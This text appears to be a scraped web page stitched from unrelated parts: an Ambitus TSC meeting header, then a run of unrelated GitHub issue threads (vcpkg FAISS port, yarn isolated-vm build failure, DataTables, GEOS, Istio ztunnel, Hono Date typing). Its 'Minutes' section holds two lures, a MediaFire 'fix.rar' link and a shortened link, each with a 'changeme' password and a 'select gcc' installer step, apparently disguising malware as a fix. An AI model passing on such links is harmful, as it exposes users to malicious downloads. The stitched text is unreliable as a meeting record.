TSC Meeting - 2024-08-27

Meetings are held every other week on Tuesdays at 11:00 EST (US east coast).
Discussion group: https://lists.openmainframeproject.org/g/ambitus-discussion
All meetings are listed on the Open Mainframe Project calendar at https://lists.openmainframeproject.org/calendar, subject to the mailing lists you are subscribed to.
Call Details:
Ways to join the meeting:
Join from PC, Mac, iPad, or Android
https://zoom-lfx.platform.linuxfoundation.org/meeting/93451787566?password=684509c9-da52-412b-ab52-1d94ba0e04b3
Join via audio
One tap mobile:
US: +12532158782,,93451787566# or +13462487799,,93451787566
Or dial:
US: +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or<PHONE_NUMBER> (Toll Free) or<PHONE_NUMBER> (Toll Free)
Canada: +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or +1<PHONE_NUMBER> or<PHONE_NUMBER> (Toll Free)
Meeting ID:<PHONE_NUMBER>6
Meeting Passcode: 949016
International numbers: https://zoom.us/u/alwnPIaVT
Participants:
[ ] Charles Korpics
[ ] Dieter Wellerdiek
[ ] Elija Swift
[ ] Evan Rivera
[ ] Frank DeGilio
[ ] Giancarlo Frix
[ ] Jim Porrell
[ ] Joe Bostian
[ ] Leonard Carcaramo
[ ] Michael Colavita
[ ] Yoel Ben-Avraham
[ ] Zach Burns
Additional Attendees: Anthony Giorgio
Agenda:
Solution templates update
RACFu update
General info

Minutes:

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


[faiss] Add new port

This PR adds FAISS as a new port. This resolves issue https://github.com/Microsoft/vcpkg/issues/1405.

Thanks @NancyLi1013. I applied your suggested changes.

Could not locate cached archive: W:\0e\0e7428e6609fee29b8a0de5708cac8bece9a6ff9.zip
-- Downloading https://github.com/facebookresearch/faiss/archive/a17a631dc326b3b394f4e9fb63d0a7af475534dc.tar.gz...
CMake Error at scripts/cmake/vcpkg_download_distfile.cmake:102 (message):

  File does not have expected hash:

          File path: [ D:/downloads/temp/facebookresearch-faiss-a17a631dc326b3b394f4e9fb63d0a7af475534dc.tar.gz ]
      Expected hash: [ 78b85aa14d183e7e65bf79e70c2c13195728055957ca6c7618081097446aa9b8418d032ca6fc34d18461b8e9f080df88fe4eb62723f7044a794862c3e9efff56 ]
        Actual hash: [ f1ab5b3c4bb89d26c0bc425b59deb42c614d58c8c0d14447dc91db6428e9efe7e7e469d7e2ad3d00e1f068ae8ed997e6a9555e6b8427ab785f63637c2cd947a9 ]

  The file may have been corrupted in transit.  This can be caused by
  proxies.  If you use a proxy, please set the HTTPS_PROXY and HTTP_PROXY
  environment variables to
  "https://user:***@your-proxy-ip-address:port/".

You should also update the hash value.

@NancyLi1013 It happened what I suspected to happen. The older version 1.6.3 doesn't compile, because they did not have CMake build files back then. I suggest to revert back to the proposed commit from above.

Hi @ahojnnes
The version 1.6.3 doesn't support CMake, which is not related with the problem. The current issue is that the archive file failed to download.
I checked the upstream. There is another new release, we might update it to 1.7.4.

@NancyLi1013 I updated to v1.6.4. It should work now.

Thanks for your quick update.
Have you tested the feature? Does it work fine?

@NancyLi1013 I have tested the package for a while already. It works fine. One remaining open question is how to best manage the dependency against lapack and openblas, which both typically compile with special instruction sets. The current package configuration of faiss here compiles against lapack/openblas statically, which means that the produced package is not redistributable to another machine. Not sure what the best way is to manage this problem in vcpkg. Typically, you would always want to use an optimized lapack/blas implementation for your specific machine.

Hi @ahojnnes
Is there any problem that the dependency includes lapack and openblas?
I noticed that other ports such as armadilloalso have the same dependency as faiss.

@NancyLi1013 It seems like it is all fine. I also checked other libraries depending on lapack and openblas. I think we can get this PR merged as is. I tested this quite extensively on Windows & Linux over the last weeks.

LGTM now, thanks for your PR @ahojnnes.

Thanks for your contribution!


M2 yarn install failed?

Node Version:
v18.19.1

Platform:
Model Name: MacBook Air
Model Identifier: Mac14,15
Chip: Apple M2
Total Number of Cores: 8 (4 performance and 4 efficiency)
Memory: 24 GB
System Firmware Version: 10151.1.1
OS Loader Version: 10151.1.1

Compiler:
xcode-select: note: No developer tools were found, requesting install.

Module:

yarn install

Verbose output (from npm or node-gyp):
(base) ➜  pietra-landing-pages git:(master) yarn
yarn install v1.22.21
[1/4] 🔍  Resolving packages...
[2/4] 🚚  Fetching packages...
[3/4] 🔗  Linking dependencies...
warning " ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| 17".
warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>warning "graphql-cli ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0".
warning "graphql-cli > @graphql-cli/common ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/graphql-file-loader ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/merge ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/url-loader ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/url-loader ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/url-loader ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS><=15".
warning "graphql-cli > graphql-config > @graphql-tools/url-loader > @graphql-tools/delegate ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning "graphql-cli > graphql-config > @graphql-tools/url-loader > @graphql-tools/delegate ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^15.0.0".
warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>[4/4] 🔨  Building fresh packages...
[1/2] ⠂ isolated-vm
error /Users/xieyezi/parsec/piretra/pietra-landing-pages/node_modules/isolated-vm: Command failed.
Exit code: 1
Command: prebuild-install || (node-gyp rebuild --release -j max && node-gyp clean)
Arguments:
Directory: /Users/xieyezi/parsec/piretra/pietra-landing-pages/node_modules/isolated-vm
Output:
prebuild-install warn install No prebuilt binaries found (target=18.19.1 runtime=node arch=arm64 libc= platform=darwin)
gyp info it worked if it ends with ok
gyp info using<EMAIL_ADDRESS>gyp info using<EMAIL_ADDRESS>| darwin | arm64
gyp info find Python using Python version 3.12.2 found at<EMAIL_ADDRESS>
gyp info spawn<EMAIL_ADDRESS>gyp info spawn args [
gyp info spawn args '/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/gyp_main.py',
gyp info spawn args 'binding.gyp',
gyp info spawn args '-f',
gyp info spawn args 'make',
gyp info spawn args '-I',
gyp info spawn args '/Users/xieyezi/parsec/piretra/pietra-landing-pages/node_modules/isolated-vm/build/config.gypi',
gyp info spawn args '-I',
gyp info spawn args '/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/addon.gypi',
gyp info spawn args '-I',
gyp info spawn args '/Users/xieyezi/Library/Caches/node-gyp/18.19.1/include/node/common.gypi',
gyp info spawn args '-Dlibrary=shared_library',
gyp info spawn args '-Dvisibility=default',
gyp info spawn args '-Dnode_root_dir=/Users/xieyezi/Library/Caches/node-gyp/18.19.1',
gyp info spawn args '-Dnode_gyp_dir=/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp',
gyp info spawn args '-Dnode_lib_file=/Users/xieyezi/Library/Caches/node-gyp/18.19.1/<(target_arch)/node.lib',
gyp info spawn args '-Dmodule_root_dir=/Users/xieyezi/parsec/piretra/pietra-landing-pages/node_modules/isolated-vm',
gyp info spawn args '-Dnode_engine=v8',
gyp info spawn args '--depth=.',
gyp info spawn args '--no-parallel',
gyp info spawn args '--generator-output',
gyp info spawn args 'build',
gyp info spawn args '-Goutput_dir=.'
gyp info spawn args ]
No receipt for 'com.apple.pkg.CLTools_Executables' found at '/'.

No receipt for 'com.apple.pkg.DeveloperToolsCLILeo' found at '/'.

No receipt for 'com.apple.pkg.DeveloperToolsCLI' found at '/'.

Traceback (most recent call last):
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1496, in XcodeVersion
    version_list = GetStdoutQuiet(["xcodebuild", "-version"]).splitlines()
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1557, in GetStdoutQuiet
    raise GypError("Error %d running %s" % (job.returncode, cmdlist[0]))
gyp.common.GypError: Error 1 running xcodebuild

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/gyp_main.py", line 45, in <module>
    sys.exit(gyp.script_main())
             ^^^^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/__init__.py", line 688, in script_main
    return main(sys.argv[1:])
           ^^^^^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/__init__.py", line 680, in main
    return gyp_main(args)
           ^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/__init__.py", line 665, in gyp_main
    generator.GenerateOutput(flat_list, targets, data, params)
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/make.py", line 2648, in GenerateOutput
    writer.Write(
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/make.py", line 899, in Write
    self.WriteCopies(spec["copies"], extra_outputs, part_of_all)
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/make.py", line 1295, in WriteCopies
    env = self.GetSortedXcodeEnv()
          ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/make.py", line 2266, in GetSortedXcodeEnv
    return gyp.xcode_emulation.GetSortedXcodeEnv(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1882, in GetSortedXcodeEnv
    env = _GetXcodeEnv(
          ^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1737, in _GetXcodeEnv
    "XCODE_VERSION_ACTUAL": XcodeVersion()[0],
                            ^^^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1507, in XcodeVersion
    version = CLTVersion()  # macOS Catalina returns <IP_ADDRESS>.1.1567737322
              ^^^^^^^^^^^^
  File "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/xcode_emulation.py", line 1545, in CLTVersion
    return re.search(regex, output).groupdict()["version"]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'groupdict'
gyp ERR! configure error
gyp ERR! stack Error: `gyp` failed with exit code: 1
gyp ERR! stack at ChildProcess.<anonymous> (/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/lib/configure.js:271:18)
gyp ERR! stack at ChildProcess.emit (node:events:517:28)
gyp ERR! stack at ChildProcess._handle.onexit (node:internal/child_process:292:12)
gyp ERR! System Darwin 23.0.0
gyp ERR! command "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/bin/node" "/Users/xieyezi/Library/Application Support/fnm/node-versions/v18.19.1/installation/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild" "--release" "-j" "max"
gyp ERR! cwd /Users/xieyezi/parsec/piretra/pietra-landing-pages/node_modules/isolated-vm
gyp ERR! node -v v18.19.1
gyp ERR! node-gyp -v v10.0.1
gyp ERR! not ok

I have confirmed that I have executed commands like "rm -rf node_modules," "yarn cache clean," deleted "yarn.lock," and re-executed "yarn install," but I still encounter this issue.

xcode-select: note: No developer tools were found, requesting install.

Install them as discussed in README.md.

I have already solved this issue, but I am not sure exactly how I did it. Here are the steps I took:

Deleted node_modules.
run yarn cache clean.
Switched to a higher version of Node, such as 21.4.0.
Reinstalled Python via brew.
Reinstalled Xcode command line tools.
Updated node-gyp as per the instructions in the node-gyp documentation: https://github.com/nodejs/node-gyp/blob/main/docs/Updating-npm-bundled-node-gyp.md.

Step 5 was the key.


What is colvis at DataTable?

My datatables wasn't working, so re-create and re-create the api scaffolding, so I copied the previous version of laravel generator and it worked, so then I found the parameter 'colvis' create the error that not allow load the datatable.
What is the functionality? Or I needed to remove before to load the table? Is was just me?
public function html()
    {
        return $this->builder()
            ->columns($this->getColumns())
            ->addAction(['width' => '10%'])
            ->ajax('')
            ->parameters([
                'dom' => 'Bfrtip',
                'scrollX' => false,
                'buttons' => [
                    'print',
                    'reset',
                    'reload',
                    [
                         'extend'  => 'collection',
                         'text'    => '<i class="fa fa-download"></i> Export',
                         'buttons' => [
                             'csv',
                             'excel',
                             'pdf',
                         ],
                    ],
                    'colvis' //This create an error and not allow create datatable, so what is it?
                ]
            ]);
}

@betoflakes you can find more information here: https://datatables.net/reference/button/colvis
And try to use the latest version of a generator and re-publish your layout with the backup of an original one. It should work. Maybe you are missing the script files of colvis which is introduced in a new version.

Thank you, man. I will do more research about it.


Sparse out Pilgrim, FV, ARIES

The FV and ARIES dynamical cores are essentially unmaintained at this point in the GCM. This PR sparses out:

ARIESg3_GridComp
FVdycore_GridComp

from GEOSgcm_GridComp (they aren't checked out, so therefore aren't built). At the same time, we sparse out:

GMAO_pilgrim

from GMAO_Shared repo as it is used by these two Gridded Components (and only these two).
Note that for now we just sparse from GCM as I am not sure if the ADAS (or pert or whatever!) still needs Pilgrim, so I'm not removing anything. I think we could be safe removing the two dynamical cores, but Pilgrim is a library that might be used in unexpected ways.

@wmputman Did you have any opinions on this PR? Essentially remove building of ARIES and Lat lon

Those two systems have not been used for a very long time.  If needed, they could be exercised through older tags.
So, it is O.K. with me.
Larry
From: Matthew Thompson<EMAIL_ADDRESS>Sent: Friday, July 10, 2020 12:46 PM
To: GEOS-ESM/GEOSgcm<EMAIL_ADDRESS>Cc: Takacs, Lawrence L. (GSFC-610.1)[SCIENCE SYSTEMS AND APPLICATIONS INC]<EMAIL_ADDRESS>Review requested<EMAIL_ADDRESS>Subject: [EXTERNAL] Re: [GEOS-ESM/GEOSgcm] Sparse out Pilgrim, FV, ARIES (#161)
@wmputmanhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_wmputman&d=DwMCaQ&c=ApwzowJNAKKw3xye91w7BE1XMRKi2LN9kiMk5Csz9Zk&r=adtsg4q2F6d0EhXBBSwCuATLyLwk4QYjOxvkDomG6r4&m=5UWA2SP0v7oNrGuZdPt7bjuEKo3eDrnVqvVFWOF9luk&s=hRcMiX_ky759X_2XoBvWbYTYs8To0CFpohnv4nAJ5fQ&e= Did you have any opinions on this PR? Essentially remove building of ARIES and Lat lon
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHubhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_GEOS-2DESM_GEOSgcm_pull_161-23issuecomment-2D656774087&d=DwMCaQ&c=ApwzowJNAKKw3xye91w7BE1XMRKi2LN9kiMk5Csz9Zk&r=adtsg4q2F6d0EhXBBSwCuATLyLwk4QYjOxvkDomG6r4&m=5UWA2SP0v7oNrGuZdPt7bjuEKo3eDrnVqvVFWOF9luk&s=62Qj3_TdvoRPt6HEKSYqnoB2O_YEK3RKViTradBN_tI&e=, or unsubscribehttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_notifications_unsubscribe-2Dauth_AMRE3K7WKAOAAJOMDWV5SPDR25AURANCNFSM4OIL55JA&d=DwMCaQ&c=ApwzowJNAKKw3xye91w7BE1XMRKi2LN9kiMk5Csz9Zk&r=adtsg4q2F6d0EhXBBSwCuATLyLwk4QYjOxvkDomG6r4&m=5UWA2SP0v7oNrGuZdPt7bjuEKo3eDrnVqvVFWOF9luk&s=YfuNdjVfYLbHot6WOGIFYx6XOIJ7sW9XvSKJ1_KfhCA&e=.


27.4.2 Patch Notes - DeckDiff Not valid deckcode

Since the last patch DeckDiff which depends on hearthstone-deckstrings stopped working giving error "This is not a valid deckcode"

Custom Rogue
Class: Rogue
Format: Standard
Year of the Wolf

2x (0) Preparation
1x (0) Shadow of Demise
2x (0) Shadowstep
2x (1) Air Guitarist
2x (1) Deadly Poison
2x (1) Gear Shift
2x (1) Ghostly Strike
2x (1) Gone Fishin'
2x (2) Eviscerate
2x (2) Harmonic Hip Hop
2x (2) Potion Belt
2x (2) Serrated Bone Spike
2x (2) Tentacle Grip
2x (3) Mic Drop
2x (4) Prison Breaker
1x (15) Yogg-Saron, Unleashed

AAECAZurBALMoAWplQYOkp8E9p8E958Et7ME9d0E36AFwaEF07IF2sMF0s4Fv/cFtZkGwpoGvZ4GAAA=

To use this deck, copy it to your clipboard and create a new deck in Hearthstone

Sorry, I will need more context. It's possible this is simply due to an issue with DeckDiff (I'm not familiar with it) or they're using a too old tool. To proceed I will need the specific calls to this library and the deckstring that doesn't work as expected.


Planning result return with HTTP response

Currently, the planning-as-a-service program will store the PDDL plan files to the local directory (According to the deployment record: https://drive.google.com/file/d/1El1v53_h5BlfT0K3PaCIgr_oBSmPRpbT/view?usp=sharing)
The HTTP response only returns the status of the solving process, it would be great to allow the plan results return within the HTTP response, so that users can get the plan result by sending requests through the URL.

Going to take a stab at this

What do you mean by Planning result? The plans? Or metrics of the plan? Or stats from the search?
Plans are (obviously) getting returned already.

I believe that the original request was for a synchronous return. We've obviously long since moved away from that model, and polling is the current solution (to be superseded by #40 or similar). Will close for now, but feel free to re-open, @JamieYuu , if I've gotten it wrong.


remaining plugin tests

had to change initalization in the cms.plugin to make things testable
followup to #109

Overall looks good :+1:


[rnd] Check if it is possible to add reaction to user message

It's possible now:
https://core.telegram.org/bots/api#setmessagereaction


ARROW-204: Add Travis CI builds that post conda artifacts for Linux and OS X

I tested this on my fork of Arrow, but ultimately we'll see if it works when the commit hits master. I've arranged so that packaging issues won't fail the build.

+1, LGTM


Properly report "ready" only when we are ready

Ready is defined as:

XDS is synced
Listeners are serving
?

This is needed for reliability, but also testing.

is ready something that should be displayed via an istioctl command, such as istioctl proxy-status?

No, I don't think we need that. We don't for Envoy; its displayed in kubectl get pods via the k8s readiness probe

We could make proxy-status show WDS: SYNCED or something, but its hard since its a table...

@keithmattix  is working on this but I cannot assign yet as they aren;'t in the org

Do we feel like it makes sense to gate readiness on the various listeners being run()? @howardjohn mentioned that XDS is the only outstanding component left, but I think a BlockReady makes sense at this point in the code

we do wait until they are bound so I think that's good enough, the connections can start queueing up at that point

Right now, the readiness is available via /healthz/ready, but it's not used by ztunnel itself.
I'd argue that proxy.run() should wait until ztunnel is ready (i.e. after local and remote XDS configs are processed), otherwise we're accepting and incorrectly dropping connections.

Both make sense, @keithmattix's point is make run as another condition to be ready

Both make sense, @keithmattix's point is make run as another condition to be ready

Right, but with current implementation, this means that proxy.run() would be executed in parallel with other conditions, leading to a race condition between configuration and proxy listeners (see: #195).
What I'm saying is that we shouldn't start accepting connections until all configuration is processed.
Something like this (ordered):

Process configs, fetch XDS, bind to ports, etc.
Start accepting connections.
Mark server as ready.

The current block ready implementation is just an unordered hash set of strings signifying a task that must be completed before /admin/ready returns true. If we want to create a dependency graph of actions on startup (e.g process local/remote XDS config before starting listeners before marking ready), we'll likely need some tweaks in the design.

Could we do:

Bind to ports
Accept connections
Wait for ready
Start processing connections

?
Note all of this really only will occur in VM or sidecar use cases; in kubernetes the ztunnel won't get requests while its not ready

The startup sequence described earlier https://github.com/istio/ztunnel/issues/156#issuecomment-1330877829 only impacts VMs, and other non k8s env.
Might be good to close this for now and revisit the startup order later on.


Release v1.4.0

We're starting the process for release 1.4. The cutoff date will be end of day Thursday 3/31.

This release is now live:
https://github.com/GoogleCloudPlatform/PerfKitBenchmarker/releases/tag/v1.4.0


not working with existing ids?

i have tried to use proteus in my app.But its not working.  i want change color  and other attributes in the textview.But it is not working. will proteous support existing ids which is inflated by LayoutInflator

Short answer: no you cannot.
View id (an int) is generated at compile time when you write layouts in XML, and in proteus, View id are String. So proteus simulates the id generation logic at runtime, hence will not be the same as R.id.something. In order to find a view by id please follow this example.
Layout:
{
  "type": "TextView",
  "id": "myId"
}

Java code:
int id = layoutBuilder.getUniqueViewId("myId");
View view = proteusView.findViewById(id);


JSON response can't contain Dates

What version of Hono are you using?
3.11.4
What runtime/platform is your app running on?
Cloudflare Pages Function
What steps can reproduce the bug?
Return an object containing a Date with context.json. For example:
  const router = new Hono();

  router.get('/test', (context) => {
    const response = {
      dateValue: new Date()
    };

    return context.json(response);
  });

What is the expected behavior?
Because Hono uses JSON.stringify() under the hood, I would expect the code above to be valid.
What do you see instead?
A type error is shown because Date is not considered a JSONObject or JSONPrimitive.
No overload matches this call.
  Overload 1 of 2, '(object: JSONValue, status?: number | undefined, headers?: HeaderRecord | undefined): Response & TypedResponse<never>', gave the following error.
    Argument of type '{ dateValue: Date; }' is not assignable to parameter of type 'JSONValue'.
      Type '{ dateValue: Date; }' is not assignable to type 'JSONObject'.
        Property 'dateValue' is incompatible with index signature.
          Type 'Date' is not assignable to type 'JSONObject | JSONArray | JSONPrimitive'.
            Type 'Date' is not assignable to type 'JSONObject'.
              Index signature for type 'string' is missing in type 'Date'.
  Overload 2 of 2, '(object: JSONValue, init?: ResponseInit | undefined): Response & TypedResponse<never>', gave the following error.
    Argument of type '{ dateValue: Date; }' is not assignable to parameter of type 'JSONValue'.ts(2769)

Additional information
The code executes fine, with the Date being stringified in the response as expected. For this reason especially, I consider the typing to be inaccurate. It disallows a valid type.

I ran into this myself recently on upgrading.
A few thoughts

I totally get that it's not semantically correct, and for the library it would be better if the user (us) were responsible for converting the date to it's string representation
However, it definitely hurts the usability of the library, especially for the simple cases where we just dump an object from a db query (e.g dirzzle / prisma) into c.json().
It is not a simple upgrade path, since we would now either have to ignore the type error or try match behavior with what was previously happening when we stringify our dates

Perhaps one line of code in the release notes to show how to maintain behavior would go a long way.

@AdiRishi Thanks for sharing your thoughts.

However, it definitely hurts the usability of the library, especially for the simple cases where we just dump an object from a db query (e.g dirzzle / prisma) into c.json().

I see, indeed, in that case, the current c.json() is not user friendly. If we can maintain consistency with RPC mode, it might be relaxed for the types of c.json().

I see, indeed, in that case, the current c.json() is not user friendly. If we can maintain consistency with RPC mode, it might be relaxed for the types of c.json().

Sounds good. Just so I understand, the fix will be to relax the types of c.json so that it accepts dates as valid input. However for RPC mode, the types will keep the same strict behaviour (which makes a lot of sense).

Thank you both for following up. Perhaps the input and output types should be separated. The output in RPC mode, for example can incorporate a utility that makes it clear all non-JSONValues have become strings, but without restricting the input. E.g.
// Output type
type JSONParsed<T> = {
  [k in keyof(T)]: (T[k] extends JSONValue ? T[k] : string);
}

Hi @DeanMauro
Quick response.

Perhaps the input and output types should be separated.

That makes sense.

I think letting things get auto-converted to strings fixes types but leads to inconsistent behavior across platforms. Not every runtime will do the same thing for any given runtime object (although Date is likely standard at this point), which makes it a little sketchy for me.
I think we can handle Date as a one-off since it is fairly standard, and under the hood it is not toString being called but toJSON which not every runtime object will have.
What could be done is to allow users to specify a serialize() method for each field, or maybe even a generic one for each type. This is just a quick suggestion but may be very hairy to implement. But I definitely think allowing users to specify serialize, even if it's just (obj) => obj.toString() will prevent users from relying on what could be nonstandard behavior and preventing the code from working crossplatform because of a nonstandard .toString() implementation for a prototype.

@ThatOneBro
Thank you for sharing your thoughts! In this case, since c.json() calls JSON.stringify(), we will make it treat an object as a string.
@DeanMauro @AdiRishi
I've created PR #1806 to fix this issue. Could you review it? The main idea is to separate the input and output types of c.json(), as mentioned by @DeanMauro.

@yusukebe Thank you for handling this! I appreciate the super fast turnaround :)

This issue has been fixed. You can try the latest version v3.11.5 which includes the fix. Thanks!

@yusukebe Has it been fixed yet? I faced this issuse but and look for solution.
I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

Hi @linhtrinh18

I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

This behavior may be correct, though I don't fully understand your problem.

Hi @linhtrinh18

I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

This behavior may be correct, though I don't fully understand your problem.

I'm getting this problem too so I'll add. My data tables contain dates like createdAt & updatedAt. I'm using Drizzle so the types returned are Dates through my codebase.
So when accessing the hono client everything is typed as a string as mentioned elsewhere in this issue.
// server side
const app = new Hono<{ Bindings: EnvBindings }>()
	.get('/:id', async (c) => {
		const id = Number.parseInt(c.req.param('id'))
		const [data] = await c.env.db.select().from(properties).where(eq(properties.id, id))
		return c.json({ data })
	})

// client side
	queryFn: async () => {
				if (!id) return
				const res = await client.properties[`:id`].$get({ param: { id: id.toString() } })
				if (!res.ok) {
					throw new Error('Failed to fetch property data')
				}
				return res.json() // i.e. createdAt: string | null;
			},
			```

So because I'm sharing the types inferred by Drizzle in my front end code, I am getting type errors whenever I deal with data returned from the hono RPC client.

What's the recommendation here? I am sure you wouldn't recommend that we cast the type of the data back to the correct type (i.e. the type produced by Drizzle) everywhere we return data from hono RPC? Is there a simple middleware that can be written to do this automatically?

I imagine this would be a common problem, so would be appreciated of your guidance. I'm surprised it's not mentioned elsewhere in the docs.

Hi @linhtrinh18

I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

This behavior may be correct, though I don't fully understand your problem.

I'm getting this problem too so I'll add. My data tables contain dates like createdAt & updatedAt. I'm using Drizzle so the types returned are Dates through my codebase.
So when accessing the hono client everything is typed as a string as mentioned elsewhere in this issue.
// server side
const app = new Hono<{ Bindings: EnvBindings }>()
	.get('/:id', async (c) => {
		const id = Number.parseInt(c.req.param('id'))
		const [data] = await c.env.db.select().from(properties).where(eq(properties.id, id))
		return c.json({ data }) // i.e. createdAt: Date | null;
	})

// client side
	queryFn: async () => {
				if (!id) return
				const res = await client.properties[`:id`].$get({ param: { id: id.toString() } })
				if (!res.ok) {
					throw new Error('Failed to fetch property data')
				}
				return res.json() // i.e. createdAt: string | null;
			},

So because I'm sharing the types inferred by Drizzle in my front end code, I am getting type errors whenever I deal with data returned from the hono RPC client.
What's the recommendation here? I am sure you wouldn't recommend that we cast the type of the data back to the correct type (i.e. the type produced by Drizzle) everywhere we return data from hono RPC? Is there a simple middleware that can be written to do this automatically?
I imagine this would be a common problem, so would be appreciated of your guidance. I'm surprised it's not mentioned elsewhere in the docs.

looking for some ideas as well... i pass it through zod parse on client to fix the dates.. but it feels hacky

@yusukebe also to note, I had tried to implement the code you linked here https://github.com/honojs/hono/issues/1559#issuecomment-1755222009 but ran into type errors as it seems some of the hono types changed after that article was written. It was be appreciated to have an officially recommended way of going about this.

Hi @linhtrinh18

I'm using 4.5.1 version but the Date (backend) automaticly turn to String (at front end) after sending json data through c.json().

This behavior may be correct, though I don't fully understand your problem.

